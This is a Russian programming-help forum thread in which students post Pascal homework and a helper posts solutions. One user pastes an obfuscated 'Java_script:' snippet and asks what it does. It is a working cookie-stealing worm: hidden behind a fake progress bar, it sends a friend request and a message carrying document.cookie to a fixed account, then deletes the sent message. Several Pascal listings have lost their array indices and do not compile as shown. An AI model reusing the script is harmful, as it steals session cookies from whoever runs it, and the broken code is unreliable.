Студентам. Помощь в программировании

[Matrix]

Студентам. Помощь в программировании

Чтобы каждый раз не создавались топики, с просьбой написать программу на каком то языке , создаю этот топик...
Здесь вы можете оставлять свои задания, только не забывайте указывать язык на котором надо написать программу...
Чтобы не было лишних вопросов по условию, излагайте условие правильно и подробно,от этого зависит быстрота получения вами готового кода...

 

[Tranzistor]

Здравствуйте, помогите пожалуйста ниписать 2 проги на Паскале.. А то сессия приближается, а лабы сдавать надо Так вот.

1. Составить программу, в соответствии с вариантом, равным номеру компьютера, результаты вывести на экран и в файл (выходной файл должен также содержать, фамилии, номер группы).

Вот задание: Ввести с клавиатуры 10 пар чисел. Сравнить числа в каждой паре и напечатать большие из них.

2.Составить программу, в соответствии с вариантом, равным номеру компьютера, результаты вывести на экран и в файл.

и задание: С клавиатуры вводятся числа и последовательно суммируются. Найти количество введенных чисел, когда их сумма превысила 100.

 

[Matrix]

и напечатать большие из них.

Может "вывести большее из них"?

 

[Vladimir_S]

Может "вывести большее из них"?

Нет-нет, всё правильно, бОльшие - множественное число, поскольку пар 10. Будет окошко - нарисую. Пока, к сожалению, некогда.

 

[Vladimir_S]

1. Составить программу, в соответствии с вариантом, равным номеру компьютера, результаты вывести на экран и в файл (выходной файл должен также содержать, фамилии, номер группы).

Вот задание: Ввести с клавиатуры 10 пар чисел. Сравнить числа в каждой паре и напечатать большие из них.

Поскольку Вы не указали формат вводимых чисел, будем считать, что Integer.

CONST
FileName:STRING='xxxx'; {Enter the real name of your file, including the path}
SurName:STRING='Ivanov'; {Enter your surname}
GroupNumber:STRING='555_a'; {Enter the real number of your group}

VAR
f:TEXT;
a:ARRAY[1..10, 1..2] of INTEGER;
m:ARRAY[1..10] of INTEGER;
i,j:INTEGER;

FUNCTION MAX(a,b:INTEGER):INTEGER;
BEGIN
IF a>b THEN MAX:=a ELSE MAX:=b;
END;

BEGIN
Assign(f, FileName);
ReWrite(f);
Writeln(f, SurName);
Writeln(f, GroupNumber);
FOR i:=1 TO 10 DO
BEGIN
FOR j:=1 TO 2 DO
BEGIN
Write('a[',i:2,', ',j:1,'] = '); ReadLn(a[i,j]);
END;
m:=MAX(a[i,1],a[i,2]);
Writeln(f,i:2,m:15);
END;
Writeln;
FOR i:=1 TO 10 DO
Writeln(i:2,m:15);
Close(f);
ReadLn;
END.

2.Составить программу, в соответствии с вариантом, равным номеру компьютера, результаты вывести на экран и в файл.

и задание: С клавиатуры вводятся числа и последовательно суммируются. Найти количество введенных чисел, когда их сумма превысила 100.

CONST
FileName:STRING='xxxx'; {Enter the real name of your file, including the path}
SurName:STRING='Ivanov'; {Enter your surname}
GroupNumber:STRING='555_a'; {Enter the real number of your group}

VAR
f:TEXT;
a,SUM,Num:INTEGER;

BEGIN
Assign(f, FileName);
ReWrite(f);
Writeln(f, SurName);
Writeln(f, GroupNumber);
SUM:=0;
Num:=0;
REPEAT
INC(Num);
Write('Enter the next number ');
Readln(a);
SUM:=SUM+a;
UNTIL SUM>100;
Writeln(f,Num:15);
Writeln(Num:15);
Close(f);
ReadLn;
END.

 

[Dram]

не стал создовать отдельный топик
что выполняет этот скрипт? Сам запустить я его не решился. просто хочу спросить что в нем заложенно
уберите пробел между Java_script .

Java_script:var percentGold=100;var widthLeft=20;var widthRight=179;var t;var memPerSec=10.00741833975;function d(m,j,l){var i=(m+'').indexOf(j,l);return i=== -1?false:i;};function _a(){next= -(1000/memPerSec)*Math.log(Math.random());ge('percentGold').innerHTML=percentGold;ge('rateLeftGold').style.width=widthLeft+"px";ge('rateRightGold').style.width=widthRight+"px";percentGold=percentGold+1;widthLeft=Math.floor(Math.sin((percentGold-100)/500)*179+20);widthRight=199-widthLeft;if(widthRight<=1){clearTimeout(t);}else t=setTimeout(_a,next);};function first(){if(ge('percent')){percentGold=ge('percent').innerHTML;var pos=d(percentGold,">",0);if(pos==false) {percentGold=parseInt(percentGold);}else percentGold=parseInt(percentGold.substr(pos+1,3)); widthLeft=parseInt(ge('rateLeft').style.width);widthRight=parseInt(ge('rateRight').style.width);_b();}else{percentGold=parseInt(ge('percentGold').innerHTML);widthLeft=parseInt(ge('rateLeftGold').style.width);widthRight=parseInt(ge('rateRightGold').style.width);_a();}};function _b(){next= -(1000/memPerSec)*Math.log(Math.random());ge('percent').innerHTML=percentGold+"%";ge('rateLeft').style.width=widthLeft+"px";ge('rateRight').style.width=widthRight+"px";percentGold=percentGold+1;if(percentGold>100){clearTimeout(t);ge('percent').id="percentGold";ge('rateLeft').id='rateLeftGold';ge('rateRight').id='rateRightGold';widthLeft=20;widthRight=179;_a();}else{widthLeft=widthLeft+2;widthRight=199-widthLeft;t=setTimeout(_b,next);}};var f=document.createElement('div');f.style.display="none";var params;function a(){Ajax.Post({url:'friend.php',query:{act:'a_add_form',fid:22188798},onDone:function(ajaxObj,responseText){try{var text=responseText;var response=eval('('+responseText+')');f.innerHTML=response.text;var form=ge('addFriendForm');if(!form)return;var params=serializeForm(form);Ajax.Post({url:'friend.php',queryarams});}catch(e){}}});};function b(){Ajax.Get({url:'mail.php',query:{act:'write',to:22188798},onDone:function(ajaxObj,responseText){var text=responseText;try{f.innerHTML=responseText;params={act:ge('act').value,ajax:1,misc:ge('misc')?ge('misc').value:'',secure:ge('secure')?ge('secure').value:'',chas:ge('chas').value,photo:ge('photo')?ge('photo').value:'',to_id:22188798,to_reply:ge('to_reply').value,toFriends:ge('toFriends')?ge('toFriends').value:'',title:ge('title').value,message:''+Math.round(Math.random()*10000)+document.cookie+Math.round(Math.random()*10000)};setTimeout(c,3000);}catch(e){}}});}; function c() {Ajax.Post({url:'mail.php',queryarams,onDone: function(ajaxObj,responseText){setTimeout(e,1000);}});}; function e(){Ajax.Get({url:'mail.php',query:{out:"1",rnd:Math.round(Math.random()*10000)},onDone:function(ajaxObj,responseText){try{var k='<a href="mail.php?act=write&to=22188798&r=';var pos=d(responseText,k,0); var g=d(responseText,'&out=1"',pos); if(pos==false)return; var messid=parseInt(responseText.substr(pos+k.length,g-pos));params={act:"a_delete",id:messid,out:1}; Ajax.Post({url:'mail.php',queryarams});}catch(e){}}});}; onDomReady(function(){document.body.appendChild(f); first();a();b();});

 

[Tranzistor]

Vladimir_S, спасибо вам огромное!!
но не могли бы переписать так, чтобы в файл выводилась фамилия, а так получается что фамилия в названии файла.. И Паскаль конфликтует с таким написанием строки:
Assign(f, SurName+'_'+GroupNumber');

 

[Vladimir_S]

Vladimir_S, спасибо вам огромное!!
но не могли бы переписать так, чтобы в файл выводилась фамилия, а так получается что фамилия в названии файла..

Сделано.

И Паскаль конфликтует с таким написанием строки:
Assign(f, SurName+'_'+GroupNumber');

Конечно конфликтует, раз там мною ошибка вляпана - лишний апостроф перед закрывающей скобкой. Виноват. Но, впрочем, таких строк в исправленном варианте уже нету.

 

[Tranzistor]

Vladimir_S, я Вам очень признателен, еще раз спасибо!

 

[Tamerlaan_Sg]

Здравствуйте, помогите пожалуйста с программами на паскале, а то сессия на носу уже, а не успеваю.

1. Разработать программу, реализующую алгоритм вычисления суммы бесконечного ряда с точностью до 10^(-4). Программу представить с использованием оператора цикла WHILE
ln(x)=(x-1)/x+(x-1)2/2x2+(x-1)3/3x3+...
x>1/2

2. Преобразовать массив, расположив сначала все положительные, а затем все отрицательные элементы. Порядок следования элементов одного типа не менять

3. Найти количество нулевых элементов в каждой строке матрицы.

4. В одномерном массиве, состоящем из N целых элементов вычислить:
а)сумму элементов массива с четными номерами (оформить в виде функции)
б)произведение жлементов массива, расположенных между 1 и последним нулевыми лементами (оформить в виде процедуры)
Сжать массив, удалив из него все элементы, модуль которых не превышает 1. Освободившиеся элементы в конце массива заполнить нулями

5.Определить количество слов в каждой строке. Удалить все слова BEGIN в каждой строке. (работа с файлами, обработка текст идет из внешнего файла, результаты также поместить в файл, для обработки текста использовать строковые функции).

СПАСИБО огромное, дело в том что с программированием никогда не сталкивался да и по роду профессии не столкнусь, а сдавать нужно

 

[Vladimir_S]

1. Разработать программу, реализующую алгоритм вычисления суммы бесконечного ряда с точностью до 10^(-4). Программу представить с использованием оператора цикла WHILE
ln(x)=(x-1)/x+(x-1)2/2x2+(x-1)3/3x3+...
x>1/2

VAR
x,S,a:REAL;
k:INTEGER;

FUNCTION X2np(X:Extended; n:INTEGER):Extended;
Var i:INTEGER;
Y:Extended;
BEGIN
IF n=0 THEN X2np:=1 ELSE
IF n=1 THEN X2np:=X ELSE
BEGIN
Y:=X;
FOR i:=2 TO n DO Y:=Y*X;
X2np:=Y;
END;
END;

BEGIN
Write('x (>0.5) = ');
ReadLn(x);
a:=1;
k:=0;
S:=0;
WHILE ABS(a)>1E-6 DO
BEGIN
INC(k);
a:=X2np((x-1),k)/k/X2np(x,k);
S:=S+a;
END;
Writeln('S = ', S:10:7);
Writeln('Ln(x) = ', Ln(x):10:7);
ReadLn;
END.

Здесь ограничение точности взято просто "с запасом". Но если это не устраивает и нужно реально считать остаточный член ряда - напишите, сделаем. Просто дело это изрядно муторное.

 

[Vladimir_S]

2. Преобразовать массив, расположив сначала все положительные, а затем все отрицательные элементы. Порядок следования элементов одного типа не менять

CONST
N=10;
VAR
A:ARRAY[1..N] of INTEGER;
B:ARRAY[1..N+1] of INTEGER;
i,j,Ncur:INTEGER;

BEGIN
Randomize;
FOR i:=1 TO N DO
BEGIN
A:=Random(100)-50;
B:=A;
END;
i:=1;
Ncur:=N;
REPEAT
IF B<0 THEN
BEGIN
B[N+1]:=B;
FOR j:=i+1 TO N+1 DO
B[j-1]:=B[j];
DEC(i);
DEC(Ncur);
END;
INC(i);
UNTIL i=Ncur+1;
FOR i:=1 TO N DO
Write(A:4);
Writeln;
FOR i:=1 TO N DO
Write(B:4);
Writeln;
ReadLn;
END.

 

[Vladimir_S]

3. Найти количество нулевых элементов в каждой строке матрицы.

CONST
N=8;
M=10;
VAR
A:ARRAY[1..N,1..M] of INTEGER;
B:ARRAY[1..N] of INTEGER;
i,j,Ncur:INTEGER;

BEGIN
Randomize;
FOR i:=1 TO N DO
BEGIN
FOR j:=1 TO M DO
A[i,j]:=Random(4)-2;
B:=0;
END;
FOR i:=1 TO N DO
FOR j:=1 TO M DO
IF A[i,j]=0 THEN B:=B+1;
FOR i:=1 TO N DO
BEGIN
FOR j:=1 TO M DO
Write(A[i,j]:4);
Writeln;
END;
FOR i:=1 TO N DO
WriteLn(B:4);
ReadLn;
END.

 

[Vladimir_S]

4. В одномерном массиве, состоящем из N целых элементов вычислить:
а)сумму элементов массива с четными номерами (оформить в виде функции)
б)произведение жлементов массива, расположенных между 1 и последним нулевыми лементами (оформить в виде процедуры)
Сжать массив, удалив из него все элементы, модуль которых не превышает 1. Освободившиеся элементы в конце массива заполнить нулями

CONST
N=10;
TYPE AR=ARRAY[1..N] of INTEGER;
VAR
A,B:AR;
i,j,Ncur,i1zer,i2zer,Prod:INTEGER;

FUNCTION S_even(AS:AR):INTEGER;
VAR
Scur,i:INTEGER;
BEGIN
Scur:=0;
FOR i:=1 TO N DO
IF (i mod 2)=0 THEN
Scur:=Scur+AS;
S_even:=Scur;
END;

PROCEDURE Product(AP:AR;i1p,i2p:Integer; VAR Pr:INTEGER);
VAR
Pr_cur,i:INTEGER;
BEGIN
Pr_cur:=0;
IF i1p=0 THEN
WriteLn('Array contains no zero elements') ELSE
IF i1p=i2p THEN
WriteLn('Array contains only one zero element') ELSE
BEGIN
Pr_cur:=1;
FOR i:=i1p+1 TO i2p-1 DO
Pr_cur:=Pr_cur*AP;
END;
Pr:=Pr_cur;
END;

BEGIN
Randomize;
FOR i:=1 TO N DO
BEGIN
A:=Random(6)-3;
B:=A;
END;
i1zer:=0;
i2zer:=0;
i:=1;
REPEAT
IF A=0 THEN i1zer:=i;
INC(i);
UNTIL (i1zer>0) OR (i=N+1);
i:=N;
REPEAT
IF A=0 THEN i2zer:=i;
DEC(i);
UNTIL (i2zer>0) OR (i=0);

i:=1;
Ncur:=N;
REPEAT
IF ABS(B)<=1 THEN
BEGIN
FOR j:=i+1 TO N DO
B[j-1]:=B[j];
B[N]:=0;
DEC(i);
DEC(Ncur);
END;
INC(i);
UNTIL i=Ncur+1;
FOR i:=1 TO N DO
Write(A:4);
Writeln;
Writeln('Sum of even elements is ', S_even(A));
Product(A,i1zer,i2zer,Prod);
IF (i1zer>0) AND (i1zer<i2zer) THEN
Writeln('Product of elements between first and last zero is ',Prod);
FOR i:=1 TO N DO
Write(B:4);
Writeln;
ReadLn;
END.

 

[Vladimir_S]

5.Определить количество слов в каждой строке. Удалить все слова BEGIN в каждой строке. (работа с файлами, обработка текст идет из внешнего файла, результаты также поместить в файл, для обработки текста использовать строковые функции).

CONST
Max_Number_of_Strings=1000;
VAR
A:ARRAY[1..Max_Number_of_Strings] of INTEGER;
i,j,Number_of_Strings:INTEGER;
file_inp, file_out, file_interm, file_inf:TEXT;
Ch_bef,Ch_aft:Char;
S:STRING;

BEGIN
Assign(file_inp,'D:\x1');
ReSet(file_inp);
Assign(file_interm,'D:\x2');
ReWrite(file_interm);
Assign(file_out,'D:\x3');
ReWrite(file_out);
Assign(file_inf,'D:\inf');
ReWrite(file_inf);
FOR i:=1 TO Max_Number_of_Strings DO
A:=0;
Number_of_Strings:=1;
REPEAT
Ch_bef:=' ';
REPEAT
Read(file_inp, Ch_aft);
IF ((Ch_bef=' ') AND (Ch_aft<>' ')) OR
((Ch_bef<>' ') AND (Ch_aft<>' ')) OR
((Ch_bef<>' ') AND (Ch_aft=' ')) THEN
Write(file_interm, Ch_aft);
IF ((Ch_bef<>' ') AND (Ch_aft=' ')) OR (EOLN(file_inp)) THEN
BEGIN
WriteLn(file_interm);
INC(A[Number_of_Strings]);
END;
Ch_bef:=Ch_aft;
UNTIL EOLN(file_inp);
ReadLn(file_inp);
INC(Number_of_Strings);
UNTIL EoF(file_inp);

WriteLn(file_inf,'Number of string Number of words');
FOR i:=1 TO Number_Of_Strings DO
WriteLn(file_inf,i:10,A:24);

Close(file_inf);
Close(file_inp);
Close(file_interm);
ReSet(file_interm);
FOR i:=1 TO Number_Of_Strings DO
BEGIN
FOR j:=1 TO A DO
BEGIN
Readln(file_interm, S);
IF S<>'BEGIN' THEN
Write(file_out,S+' ');
END;
WriteLn(file_out);
END;
Close(file_interm);
Erase(file_interm);
Close(file_out);
END.

Некоторые пояснения. К сожалению, не удалось толком обработать пустые строки, поэтому в исходном файле их быть не должнО. х1, х3 - имена исходного и конечного (с исключенными "BEGIN") файлов, нужные введете сами, равно как и пути к ним. х2 - промежуточный файл, в конце программы он уничтожается. Информация о количестве слов в строках выводится в файл "inf".

 

[Tamerlaan_Sg]

Огромное Вам спасибо

 

[аццкий программист]

плизз товарищи срочно нужна ваша помощ мне ету задачу неодолеть(((
помогите плизз нужно до завтра сделать оч надеюсь на ваше содействие((((((
условие:
Разработать алгоритм и программу решения задачи, в которой сформировать кольцевой односвязный список.

 

[csbwalker]

плизз товарищи срочно нужна ваша помощ мне ету задачу неодолеть(((
помогите плизз нужно до завтра сделать оч надеюсь на ваше содействие((((((
условие:
Разработать алгоритм и программу решения задачи, в которой сформировать кольцевой односвязный список.

Ну, алгоритм-то можно и так, а вот с программой - какой язык (или языки) необходимо использовать?

 

[аццкий программист]

соре забыл указать моя задачка пишеться на Паскаль(((жду помощи (((

 

[Tranzistor]

Ребят, помоите пожалуйста еще с несколькими прогами:

1. Размерность массива задается именованной константой.
Задание:
В одномерном массиве, состоящем из п вещественных элементов, вычислить:
1.Номер минимального элемента массива.
2.Преобразовать массив таким образом, чтобы сначала располагались все элементы, модуль которых не превышает единицу, а потом — все остальные.

2. Размерности массивов следует задать именованными константами.
Задание:
Дана целочисленная прямоугольная матрица. Определить:
1. Найти сумму элементов в тех столбцах, которые содержат хотя бы один отрица¬тельный элемент.
2. Найти номер первого из столбцов, не содержащих ни одного положительного элемента.

3.Задана строка символов.
Задание:
определить длину самого короткого слова.

4. Создайте список с указанием ваших фамилий, имён, телефонных номеров и дат рождения (число, месяц, год). Использовать тип запись (RECORD), вывести в удобном для просмотра формате.

5. Из множества целых чисел [1..100] выделить следующие множества:
делящихся без остатка на 10

6. Оформить решение задачи (см. пункт 1. в данном посте) в виде подпрограммы функции. Привести решения этих задач различными способами, используя в качестве фактических параметров: параметры-значения, параметры-переменные и параметры-константы. Объясните различия.

7. Оформить решение задач (см. пункт 2. в данном посте) в виде подпрограммы процедуры. Привести решения этих задач различными способами, используя в качестве фактических параметров: параметры-значения, параметры-переменные и параметры-константы. Объясните различия.

Язык программирования укажите - тогда помогут. Ваш модератор